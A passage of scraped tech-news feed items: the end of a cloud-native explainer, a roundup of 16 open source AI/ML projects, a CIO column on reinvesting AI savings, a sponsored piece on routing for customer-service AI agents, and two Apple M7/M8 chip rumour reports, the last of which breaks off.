<li><strong>Security: </strong>More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. <a href="https://www.csoonline.com/article/572501/managing-container-vulnerability-risks-tools-and-best-practices.html">Containers</a> and <a href="https://www.csoonline.com/article/3618243/securing-cloud-native-applications-why-a-comprehensive-api-security-strategy-is-essential.html">APIs</a> each have their own special security needs, and a <a href="https://www.infoworld.com/article/2259477/open-policy-agent-a-general-purpose-policy-engine-for-cloud-native.html">policy engine</a> can be an important tool for imposing a security baseline on a sprawling cloud-native app. <a href="https://www.csoonline.com/article/564095/what-is-devsecops-developing-more-secure-applications.html">DevSecOps</a>, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.</li>



<li><strong>Vendor lock-in: </strong>This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, <a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">it can be hard to migrate elsewhere</a>.</li>



<li><strong>A persistent skills gap: </strong>Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies <a href="https://www.infoworld.com/article/3484912/a-strategic-road-map-for-navigating-the-cloud-skills-shortage.html">face difficult choices in bridging this skills gap</a>, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net. </li>
</ul>



<h2 class="wp-block-heading">Cloud native in the real world</h2>



<p class="wp-block-paragraph">Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s <a href="https://www.cncf.io/case-studies/">Case Studies page</a> provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:</p>



<ul class="wp-block-list">
<li>A UK-based payment technology company that can <a href="https://www.cncf.io/case-studies/form3/">switch between data centers and clouds</a> with zero downtime</li>



<li>A software company whose product collects and analyzes data from IoT devices — and can <a href="https://www.cncf.io/case-studies/tempestive/">scale up</a> as the number of gadgets grows</li>



<li>A Czech web service company that managed to <a href="https://www.cncf.io/case-studies/seznam/">improve performance while reducing costs</a> by migrating to the cloud</li>
</ul>



<p class="wp-block-paragraph">Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to <a href="https://www.cncf.io/case-studies/ibmwatsonxassistant/">train its Watsonx assistant</a>. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like <a href="https://www.infoworld.com/article/3608598/microsoft-rebrands-azure-ai-studio-to-azure-ai-foundry.html">Azure AI Foundry,</a><a href="https://www.infoworld.com/article/3959648/google-unveils-firebase-studio-for-ai-app-development.html">Google Firebase Studio</a>, and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Amazon Bedrock</a>. It seems clear that cloud native technology is ready for what comes next.</p>



<h2 class="wp-block-heading">Learn more about related cloud-native technologies:</h2>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">Platform-as-a-service (PaaS) explained</a></li>



<li><a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">What is cloud computing</a></li>



<li><a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">Multicloud explained</a></li>



<li><a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">Agile methodology explained</a></li>



<li><a href="https://www.infoworld.com/article/2259487/how-to-excel-in-agile-software-development.html">Agile development best practices</a></li>



<li><a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">Devops explained</a></li>



<li><a href="https://www.infoworld.com/article/2266905/devops-best-practices-the-5-methods-you-should-adopt.html">Devops best practices</a></li>



<li><a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">Microservices explained</a></li>



<li><a href="https://www.infoworld.com/article/2253197/tutorial-how-to-build-microservices-apps.html">Microservices tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker and Linux containers explained</a></li>



<li><a href="https://www.infoworld.com/article/2254159/how-to-get-started-with-kubernetes-2.html">Kubernetes tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD (continuous integration and continuous delivery) explained</a></li>



<li><a href="https://www.infoworld.com/article/2268012/get-started-with-cicd-automating-application-delivery-with-cicd-pipelines.html">CI/CD best practices</a></li>
</ul>
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<title><![CDATA[16 open source projects transforming AI and machine learning]]></title>
<description><![CDATA[For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and large language models. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to...]]></description>
<link>https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a>. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to complement the open source code.</p>



<p class="wp-block-paragraph">For this article, we’ve pulled together some of the most intriguing and useful projects for <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI and machine learning</a>. Many of these are foundation projects, nurturing their own niche ecology of open source plugins and extensions. Once you’ve started with the basic project, you can keep adding more parts.</p>



<p class="wp-block-paragraph">Most of these projects offer demonstration code, so you can start up a running version that already tackles a basic task. Additionally, the companies that build and maintain these projects often sell a service alongside them. In some cases, they’ll deploy the code for you and save you the hassle of keeping it running. In others, they’ll sell custom add-ons and modifications. The code itself is still open, so there’s no vendor lock in. The services simply make it easier to adopt the code by paying someone to help.</p>



<p class="wp-block-paragraph">Here are 16 open source projects that developers can use to unlock the potential in machine learning and large language models of any size—from small to large, and even extra large.</p>



<h2 class="wp-block-heading">Agent Skills</h2>



<p class="wp-block-paragraph">AI coding agents are often used to tackle standard tasks like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">writing React components</a> or <a href="https://www.infoworld.com/article/4025088/how-coderabbit-brings-ai-to-code-reviews.html">reviewing parts of the user interface</a>. If you are writing a coding agent, it makes sense to use vetted solutions that are focused on the task at hand. <a href="https://github.com/vercel-labs/agent-skills">Agent Skills</a> are pre-coded tools that your AI can deploy as needed. The result is a focused set of vetted operations capable of producing refined, useful code that stays within standard guidelines. License: MIT.</p>



<h2 class="wp-block-heading">Awesome LLM Apps</h2>



<p class="wp-block-paragraph">If you are looking for good examples of agentic coding, see the <a href="https://github.com/Shubhamsaboo/awesome-llm-apps">Awesome LLM Apps collection</a>. Currently, the project hosts several dozen applications that leverage some combination of <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">RAG databases</a> and LLMs. Some are simple, like a meme generator, while others handle deeper research like the Journalist agent. The most complex examples deploy multi-agent teams to converge upon an answer. Every application comes with working examples for experimentation, so you can learn from what’s been successful in the past. Altogether, the apps in this collection are great inspiration for your own projects. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Bifrost</h2>



<p class="wp-block-paragraph">If your application requires access to an LLM service, and you don’t have a particular one in mind, check out <a href="https://github.com/maximhq/bifrost">Bifrost</a>. A fast, unified gateway to more than 15 LLM providers, this OpenAI-compatible API quickly abstracts away the differences between models, including all the major ones. It includes essential features like governance, caching, budget management, load balancing, and it has guardrails to catch problems before they are sent out to service providers, who will just bill you for the time. With dozens of great LLM providers constantly announcing new and better models, why limit yourself? License: Apache 2.0.</p>



<h2 class="wp-block-heading">Claude Code</h2>



<p class="wp-block-paragraph">If the popularity of AI coding assistants tells us anything, it’s that all developers—and not just the ones building AI apps—appreciate a little help writing and reviewing their code. <a href="https://github.com/anthropics/claude-code">Claude Code</a> is that pair programmer. Trained on all the major programming languages, <a href="https://www.infoworld.com/article/3853805/vibe-coding-with-claude-code.html">Claude Code can help you write code that is better, faster, and cleaner</a>. It digests a codebase and then starts doing your bidding, while also making useful suggestions. Natural language commands plus some vague hand waving are all the Anthropic LLM needs to refactor, document, or even add new features to your existing code. License: Anthropic’s Commercial TOS.</p>



<h2 class="wp-block-heading">Clawdbot</h2>



<p class="wp-block-paragraph">Many of the tools in this list help developers create code for other people. <a href="https://github.com/clawdbot/clawdbot?tab=readme-ov-file">Clawdbot</a> is the AI assistant for you, the person writing the code. It integrates with your desktop to control built-in tools like the camera and large applications like the browser. A multi-channel inbox accepts your commands through more than a dozen different communication channels including WhatsApp, Telegram, Slack, and Discord. A cron job adds timing. It’s the ultimate assistant for you, the ruler of your data. If AI exists to make our lives easier, why not start by organizing the applications on your desktop? License: MIT.</p>



<h2 class="wp-block-heading">Dify</h2>



<p class="wp-block-paragraph">For projects that require more than just one call to an LLM, <a href="https://github.com/langgenius/dify">Dify</a> could be the solution you’ve been looking for. Essentially a development environment for building complex agentic workflows, Dify stitches together LLMs, RAG databases, and other sources. It then monitors how they perform under different prompts and parameters and puts it all together in a handy dashboard, so you can iterate on the results. Developing agentic AI requires rapid experimentation, and Dify provides the environment for those experiments. License: Modified version of Apache 2.0 to exclude some commercial uses.</p>



<h2 class="wp-block-heading">Eigent</h2>



<p class="wp-block-paragraph">The best way to explore the power and limitations of an agentic workflow is to deploy it yourself on your own machine, where it can solve your own problems. Eigent delivers a workforce of specialized agents for handling tasks like writing code, searching the web, and creating documents. You just wave your hands and issue instructions, and Eigent’s LLMs do their best to follow through. Many startups brag about eating their own dogfood. Eigent puts that concept on a platter, making it easy for AI developers to experience directly the abilities and failings of the LLMs they’re building. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Headroom</h2>



<p class="wp-block-paragraph">Programmers often think like packrats. If the data is good, why not pack in some more? This is a challenge for code that uses an LLM because these services charge by the token, and they also have a limited context window. <a href="https://github.com/chopratejas/headroom">Headroom</a> tackles this issue with agile compression algorithms that trim away the excess, especially the extra labels and punctuation found in common formats like JSON. A big part of designing working AI applications is cost engineering, and saving tokens means saving money. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Hugging Face Transformers</h2>



<p class="wp-block-paragraph">When it comes to starting up a brand-new machine learning project, <a href="https://github.com/huggingface/transformers">Hugging Face Transformers</a> is one of the best foundations available. Transformers offers a standard format for defining how the model interacts with the world, which makes it easy to drop a new model into your working infrastructure for training or deployment. This means your model will interact nicely with all the already available tools and infrastructure, whether for text, vision, audio, video, or all of the above. Fitting into a standard paradigm makes it much easier to leverage your existing tools while focusing on the cutting edge of your research. License: Apache 2.0.</p>



<h2 class="wp-block-heading">LangChain</h2>



<p class="wp-block-paragraph">For agentic AI solutions that require endless iteration, <a href="https://github.com/langchain-ai/langchain">LangChain</a> is a way to organize the effort. It harnesses the work of a large collection of models and makes it easier for humans to inspect and curate the answers. When the task requires deeper thinking and planning, LangChain makes it easy to work with agents that can leverage multiple models to converge upon a solution. LangChain’s architecture includes a framework (LangGraph) for organizing easily customizable workflows with long-term memory, and a tool (LangSmith) for evaluating and improving performance. Its Deep Agents library provides teams of sub-agents, which organize problems into subsets then plan and work toward solutions. It is a proven, flexible test bed for agentic experimentation and production deployment. License: MIT.</p>



<h2 class="wp-block-heading">LlamaIndex</h2>



<p class="wp-block-paragraph">Many of the early applications for LLMs are sorting through large collections of semi-structured data and providing users with useful answers to their questions. One of the fastest ways to customize a standard LLM with private data is to use <a href="https://github.com/run-llama/llama_index">LlamaIndex</a> to ingest and index the data. This off-the-shelf tool provides data connectors that you can use to unpack and organize a large collection of documents, tables, and other data, often with just a few lines of code. The layers underneath can be tweaked or extended as the job requires, and LlamaIndex works with many of the data formats common in enterprises. License: MIT.</p>



<h2 class="wp-block-heading">Ollama</h2>



<p class="wp-block-paragraph">For anyone experimenting with LLMs on their laptop, <a href="https://github.com/ollama/ollama">Ollama</a> is one of the simplest ways to <a href="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html" data-type="link" data-id="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html">download one or more of them and get started</a>. Once it’s installed, your command line becomes a small version of the classic ChatGPT interface, but with the ability to pull a huge collection of models from a growing library of open source options. Just enter: <code>ollama run </code> and the model is ready to go. Some developers are using it as a back-end server for LLM results. The tool provides a stable, trustworthy interface to LLMs, something that once required quite a bit of engineering and fussing. The server simplifies all this work so you can tackle higher level chores with many of the <a href="https://ollama.com/library">most popular open source LLMs</a> at your fingertips. License: MIT.</p>



<h2 class="wp-block-heading">OpenWebUI</h2>



<p class="wp-block-paragraph">One of the fastest ways to put up a website with a chat interface and a dedicated RAG database is to spin up an instance of <a href="https://github.com/open-webui/open-webui">OpenWebUI</a>. This project knits together a feature-rich front end with an open back end, so that starting up a customizable chat interface only requires pulling a few <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker containers</a>. The project, though, is just a beginning, because it offers the opportunity to add plugins and extensions to enhance the data at each stage. Practically every part of the chain from prompt to answer can be tweaked, replaced, or improved. While some teams might be happy to set it up and be done, the advantages come from adding your own code. The project isn’t just open source itself, but a constellation of hundreds of little bits of contributed code and ancillary projects that can be very helpful. Being able to customize the pipeline and leverage the <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP protocol</a> supports the delivery of precision solutions. License: Modified BSD designed to restrict removing OpenWebUI branding without an enterprise license.</p>



<h2 class="wp-block-heading">Sim</h2>



<p class="wp-block-paragraph">The drag-and-drop canvas for <a href="https://github.com/simstudioai/sim">Sim</a> is meant to make it easier to experiment with <a href="https://www.infoworld.com/article/4086884/how-to-automate-the-testing-of-ai-agents.html">agentic workflows</a>. The tool handles the details of interacting with the various LLMs and vector databases; you just decide how to fit them together. Interfaces like Sim make the agentic experience accessible to everyone on your team, even those who don’t know how to write code. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Sloth</h2>



<p class="wp-block-paragraph">One of the most straightforward ways to leverage the power of foundational LLMs is to start with an open source model and fine-tune it with your own data. <a href="https://github.com/unslothai/unsloth">Unsloth</a> does this, often faster than other solutions do. Most major open source models can be transformed with reinforcement learning. Unsloth is designed to work with most of the standard precisions and some of the largest context windows. The best answers won’t always come directly from RAG databases. Sometimes, adjusting the models is the best solution. License: Apache 2.0.</p>



<h2 class="wp-block-heading">vLLM</h2>



<p class="wp-block-paragraph">One of the best ways to turn an LLM into a useful service for the rest of your code is to start it up with <a href="https://github.com/vllm-project/vllm">vLLM</a>. The tool loads many of the available open source models from repositories like Hugging Face and then orchestrates the data flows so they keep running. That means batching the incoming prompts and managing the pipelines so the model will be a continual source of fast answers. It supports not just the CUDA architecture but also AMD CPUs and GPUs, Intel CPUs and GPUs, PowerPC CPUs, Arm CPUs, and TPUs. It’s one thing to experiment with lots of models on a laptop. It’s something else entirely to deploy the model in a production environment. vLLM handles many of the endless chores that deliver better performance. License: Apache-2.0.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[AI is freeing up capital. Most companies have no plan for what comes next]]></title>
<description><![CDATA[AI tools today enable faster processes, leaner operations and lower costs, making efficiency wins the new baseline. However, for many businesses, the strategy stops at those first wins.



This has created a growing leadership blind spot: Once you achieve AI ROI, how do you make the most of it? I...]]></description>
<link>https://tsecurity.de/de/3664864/it-security-nachrichten/ai-is-freeing-up-capital-most-companies-have-no-plan-for-what-comes-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664864/it-security-nachrichten/ai-is-freeing-up-capital-most-companies-have-no-plan-for-what-comes-next/</guid>
<pubDate>Mon, 13 Jul 2026 12:08:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>AI tools today enable faster processes, leaner operations and lower costs, making efficiency wins the new baseline. However, for many businesses, the strategy stops at those first wins.</p>



<p>This has created a growing leadership blind spot: Once you achieve AI ROI, how do you make the most of it? If there is no clear reinvestment strategy, AI gains burn out quickly and disappear into the business without meaningfully compounding their value.</p>



<p>For CIOs, the next challenge is not just proving AI can make the business more efficient but deciding how those gains can build a stronger company and sustain growth over the long term.</p>



<h2 class="wp-block-heading">Start by investing in a crystal ball</h2>



<p>One of the smartest ways to reinvest AI gains is to improve how the business evaluates what is worth building in the first place.</p>



<p>Leaders who chase “cool” use cases without defining the business impact or path to ROI upfront often end up with systems that drain funds without creating compounding returns. Instead, a clear reinvestment strategy uses AI to assess the strongest use cases before scaling up.</p>



<p>AI tools today can help teams move from idea to prototype to impact analysis much faster than before. That makes it easier to identify which projects have a credible path to ROI and which ones can be filed away. Access to these quick insights allows businesses to test whether a use case has real value before committing larger engineering or model costs.</p>



<p>This is especially crucial right now as <a href="https://www.idc.com/resource-center/blog/ai-infrastructure-spending-caps-historic-year-at-90-billion-in-q4-2025-2029-spending-to-eclipse-1-trillion/">AI is becoming more costly as businesses scale it</a>. What looked inexpensive in early pilots can become far pricier once it is embedded in day-to-day work and as AI providers tokenize and meter its use. The more central AI becomes, the more intentional leaders need to be about where it is used, what it actually returns and how to reinvest those gains.</p>



<p>Not every workflow belongs in the same model. Not every task needs an agent. As AI vendors mature and monetization models evolve, the businesses that will win will be the ones that make those distinctions early, reinvest accordingly and keep building ahead of customer needs rather than reacting to them. Not every workflow belongs in the same model. Not every task needs an agent.</p>



<h2 class="wp-block-heading">Cycle ROI gains back into tooling</h2>



<p>Once AI activations start to show dividends, it’s time to reinvest in stronger tooling. This should include new AI tools that continue to advance the business, as well as continued investment in what has already worked. That compounding effect is ultimately what separates businesses that sustain AI-driven growth from those that plateau after early wins.</p>



<p>I’ve seen firsthand the benefits of investing in new tools that make AI more usable, repeatable and valuable in workflows. For example, automated product management tools enable rapid prototyping and product rationalization. Decision intelligence platforms can help teams simulate scenarios. Customer behavior modeling tools can help predict churn and shift customer demand patterns. These advanced solutions can help teams move from an idea to a working concept in days instead of months.</p>



<p>Smart reinvestment is about building the right technical mix for the outcomes the business <a>needs</a>, rather than funding more AI for its own sake. To maximize impact, start with tooling for governance and upskilling.</p>



<h3 class="wp-block-heading">1. (Re)invest in governance</h3>



<p>As AI usage spreads and matures across teams, products and functions, a strategic policy framework becomes all the more vital. CIOs should work to reinforce the governance foundations already in place so they can support broader adoption, rather than rebuilding new policy from scratch each time AI usage expands. This means reinvesting in shared standards, oversight mechanisms and supporting roles that make governance more durable and practical over time.</p>



<p>Without doubling down on governance, businesses risk creating siloed, disconnected pockets of experimentation. Those pockets quickly become expensive to monitor and difficult to secure, creating further risk to consistency, compliance and trust. The consequence is often wasted spend as experiments stall or overlap, or outcomes that are too fragmented to scale.</p>



<p>When businesses keep governance investment at the center of their reinvestment strategy, it becomes a force multiplier. It reduces duplication across teams, creates more commonality across products and makes it easier to expand AI use without increasing fragmentation or risk.</p>



<h3 class="wp-block-heading">2. Empower employees to grow</h3>



<p>Smart tools only create real value when people are equipped to use them well. That is why reinvestment should go beyond technology alone.</p>



<p>As AI tools become more powerful and accurate, the skills barrier to building something useful is dropping. Employees can get much closer to a viable concept much faster with AI, but that only works if businesses create learning pathways, academies and practical enablement that help teams use these tools well.</p>



<p>Smarter tooling can help product, operations and technology teams collaborate with fewer layers between idea and execution. As employees build new skills, they can stay closer to a single initiative from start to finish. That reduces handoffs, empowers employees to learn new skills and offers a more direct path from the original idea to the final result.</p>



<h2 class="wp-block-heading">Let AI ROI fund your fight against siloes</h2>



<p>Over the next few years, the businesses that pull ahead are not simply going to be the ones with the most AI pilots or the biggest efficiency gains. They will be the ones that invest AI ROI in bridging what has long been disconnected: systems, teams, workflows and ecosystems.</p>



<p>In telecom, for example, AI is already creating savings inside billing operations and other back-office work tied to the BSS layer. The smart move for telcos is not to stop at those savings, but to reinvest them in connecting their BSS and OSS, where fragmentation and siloes have long slowed telcos down.</p>



<p>Think about what that means in practice: instead of billing, service configuration and network operations functioning as separate systems with separate handoffs, AI can help orchestrate them. That makes it easier to move from order to activation to support with less internal friction, better visibility and fewer breakdowns between what was sold and what is actually delivered.</p>



<p>For the customer, that means a broadband outage, plan change or installation appointment is handled as one connected journey rather than a chain of handoffs. The outcome is a more connected operating model that makes the customer experience feel far less complex.</p>



<p>The same logic applies across industries. In banking, a customer with a mortgage, checking account and credit card at the same institution is often still treated as three separate relationships – because the underlying systems do not communicate. AI orchestration can change that, giving banks a unified view of the customer and employees the context to act on it.</p>



<p>Not using AI to do the same work faster, but using AI dividends to build a business that works better. That is what smart investment looks like.</p>



<h2 class="wp-block-heading">ROI is just the start</h2>



<p>AI can absolutely free up capital. That, however, is only the first chapter.</p>



<p>The bigger story is what leaders choose to do next: reinvest in better tooling, more consistent governance, smarter workforce enablement and operating models built to connect across silos. The payoff will be a more resilient, agile business ready for what’s next.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Your AI agent shouldn’t know everything – it should know who to ask]]></title>
<description><![CDATA[Intro




Consumers across APJ are getting more impatient. They expect brands to resolve their issues in just 24 minutes on average.



If the brand is unsuccessful, 34% say they’ll switch channels to find a faster path to resolution, and 30% say they’ll abandon the effort altogether.



Most lea...]]></description>
<link>https://tsecurity.de/de/3664615/it-nachrichten/your-ai-agent-shouldnt-know-everything-it-should-know-who-to-ask/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664615/it-nachrichten/your-ai-agent-shouldnt-know-everything-it-should-know-who-to-ask/</guid>
<pubDate>Mon, 13 Jul 2026 10:18:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">Intro</h2>



<ul class="wp-block-list">
<li>Consumers across APJ are getting more impatient. They expect brands to resolve their issues in just 24 minutes on average.</li>



<li>If the brand is unsuccessful, 34% say they’ll switch channels to find a faster path to resolution, and 30% say they’ll abandon the effort altogether.</li>



<li>Most leaders reading this insight would respond by improving agent response times, but speed isn’t the problem. The crux is that consumers want a solution, not to wait less.</li>



<li>Unfortunately, the AI that most brands have deployed are chatbots who try to handle everything (and then fail).</li>



<li>What we’re seeing is the opposite. The most productive agents aren’t generalists, but specialists who excel at one thing and know when to hand off when they can’t handle something.</li>



<li>This intelligent orchestration is a superpower.</li>
</ul>



<h2 class="wp-block-heading">The cost of sending customers in circles</h2>



<ul class="wp-block-list">
<li>90% of business leaders believe their customers are satisfied with conversational AI, but only 59% of consumers agree.</li>



<li>54% of consumers say AI agents rarely or never have context about them as a customer.</li>



<li>78% say it’s important to be able to switch from an AI agent to a human, yet only 15% report experiencing seamless handoffs.</li>



<li>Most escalations involve lost context, repeated explanations, and restarted conversations. Every misroute doesn’t just waste one interaction—it triggers a cascade. The customer calls back, a second agent asks the same questions, trust erodes, and the next interaction starts from a deficit.</li>



<li>It’s no wonder that 42% of consumers say AI makes them less patient, not more. 41% are satisfied with how brands currently use AI.</li>



<li>For customer service teams, the real challenge is routing, not tech.</li>
</ul>



<h2 class="wp-block-heading"><a></a>What self-service really needs</h2>



<ul class="wp-block-list">
<li>Brands need four capabilities for self-service AI agents to work.
<ul class="wp-block-list">
<li><strong>1. Agency:</strong> Specialised agents that can handle defined tasks with precision and don’t attempt everything and resolve nothing.</li>



<li><strong>2. Always-on monitoring:</strong> The system must monitor interaction quality in real time and catch failures before they compound into callbacks.</li>



<li><strong>3. Real-time contextual data:</strong> Agents must have a unified view of the customer, including history, intent, and recent interactions.</li>



<li><strong>4. Intelligent routing:</strong> The system must accurately decide in the moment whether a task stays with AI, moves to a specialist, or escalates to a human with full context.</li>
</ul>
</li>



<li>Of these four, routing is the most underinvested and the one that determines whether the other three deliver value.</li>
</ul>



<h2 class="wp-block-heading">Routing is the intelligence layer</h2>



<ul class="wp-block-list">
<li>Think of routing not as plumbing but as decision-making.</li>



<li>A well-designed system evaluates task complexity, required skills, customer history, sentiment, and more before matching it to the right resource.</li>



<li>For example, a complex billing dispute will be routed to a senior billing specialist, not the next available generalist. A routing appointment request stays with the AI agent that can solve it in seconds.</li>



<li>When the AI encounters an edge case it can’t handle, the routing layer transfers the task, along with full context, so the next agent can pick up where the AI left off.</li>



<li>Twilio’s own research confirms this. 42% of consumers prefer starting with a human agent, even if it takes longer, while 23% are comfortable starting with AI and escalating when needed.</li>



<li>Both paths demand routing intelligence. The AI-first customer needs seamless escalation, and the human-first customer needs to reach the right human immediately. Neither can afford a misroute.</li>
</ul>



<h2 class="wp-block-heading"><a></a>When resolution compounds</h2>



<ul class="wp-block-list">
<li>Every issue resolved on first contact is one fewer repeat call in the queue.</li>



<li>Fewer repeat calls mean shorter wait times for everyone.</li>



<li>This compounding effect extends to agent capacity. When routing works, human agents are freed from solving issues that should have been addressed the first time. They spend their time on complex, high-value interactions instead.</li>



<li>This is what 72% of consumers are signaling when they say they’d choose AI over a human if the issue was guaranteed to be solved faster.</li>



<li>46% of consumers say quick service and resolution are their top priorities, and 51% say delays are acceptable if they lead to better customer support.</li>



<li>Patience is available but only when the brands earn it by sending customers to the right place the first time.</li>



<li>The brands that treat routing as an afterthought will keep optimising for speed and see their customers quietly leave. Those who optimise for resolution will build trust that compounds with every interaction.</li>
</ul>



<p>To learn more about Twilio, visit <a href="https://www.twilio.com/en-us/why-twilio?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_end-cta-your-ai-agent_brandposthub" rel="sponsored">here</a>.</p>



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<title><![CDATA[Apple Is Already Building The M8 Chip For Supreme AI Power]]></title>
<description><![CDATA[Apple is moving at breakneck speed to stay ahead in the tech race, and it is already looking far past its upcoming processors. According to Mark Gurman in his latest Power On newsletter for Bloomberg, the tech giant is currently designing the massive M8 chip. The new silicon will focus heavily on...]]></description>
<link>https://tsecurity.de/de/3664275/ios-mac-os/apple-is-already-building-the-m8-chip-for-supreme-ai-power/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664275/ios-mac-os/apple-is-already-building-the-m8-chip-for-supreme-ai-power/</guid>
<pubDate>Mon, 13 Jul 2026 07:24:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is moving at breakneck speed to stay ahead in the tech race, and it is already looking far past its upcoming processors. According to Mark Gurman in his latest Power On newsletter for Bloomberg, the tech giant is currently designing the massive M8 chip. The new silicon will focus heavily on artificial intelligence performance and extreme power savings for future computers and tablets.



The company jumps to a smaller 1.4nm technology for better efficiency



Reports show that the company is planning to build the M8 using an incredibly small 1.4-nanometer manufacturing process. The change will allow it to pack way more power into a tiny space while draining less battery life. This massive leap in efficiency is expected to arrive by 2028 when TSMC starts producing the new wafers. The new 1.4nm tech will not just be for computers, as the future iPhone models in 2028 will likely use it for the A22 Pro chip too.



The current roadmap shows that the brand is moving aggressively. We already know that Apple finalizes M7 chip design in record time to push AI limits because it wants to speed up hardware releases. This rapid pace also means that mid-tier chips are being skipped. For instance, Apple's M6 Pro and M6 Max may never launch as the company funnels all its resources into getting the next generations ready faster.



Future chips focus heavily on running massive smart tasks locally



Mark Gurman notes that the main reason for this rushed timeline is artificial intelligence. The upcoming processors are being designed from the ground up to handle intense local workloads. While the M7 will bring a huge memory upgrade, the M8 will take things to a completely different level with even greater capabilities. The company is reportedly working on a specific M8 processor codenamed Soko for 2028.



This huge push for memory and raw performance is clear across all product lines. For context, Apple's M7 Ultra could support up to 1.5TB of unified memory, which is double the capacity planned for the older M5 version.



By forcing its silicon team into overdrive, the tech giant is making sure its future machines will effortlessly run complex tasks without breaking a sweat. When these new processors finally arrive, buyers should see a massive jump in everyday speed and battery life.]]></content:encoded>
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<title><![CDATA[Apple Finalizes M7 Chip Design In Record Time To Push AI Limits]]></title>
<description><![CDATA[The artificial intelligence race is forcing tech giants to move faster than ever, and Apple is feeling the heat. To keep up with fierce competition, the company locked in the design for its upcoming M7 chip just six months after finishing the M6. This rapid turnaround shows that it wants to push ...]]></description>
<link>https://tsecurity.de/de/3664221/ios-mac-os/apple-finalizes-m7-chip-design-in-record-time-to-push-ai-limits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664221/ios-mac-os/apple-finalizes-m7-chip-design-in-record-time-to-push-ai-limits/</guid>
<pubDate>Mon, 13 Jul 2026 06:39:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The artificial intelligence race is forcing tech giants to move faster than ever, and Apple is feeling the heat. To keep up with fierce competition, the company locked in the design for its upcoming M7 chip just six months after finishing the M6. This rapid turnaround shows that it wants to push local neural processing to the absolute limit as quickly as possible across its entire device lineup.



Apple skips high-end M6 chips to speed up the M7 launch



Instead of rolling out the usual mid-cycle upgrades, the company is changing its playbook. It will completely skip the Pro, Max, and Ultra versions of the M6 generation. Reports indicate that Apple's M6 Pro and M6 Max may never launch as it shifts all focus to the M7 family.



This accelerated timeline means we could see the base M7 chip arrive in the first half of 2027. It will likely debut in a redesigned MacBook Pro featuring an upgraded vapor chamber for better cooling. The more powerful M7 Pro and M7 Max are expected to follow later that year.



Massive memory upgrades support heavy local neural processing tasks



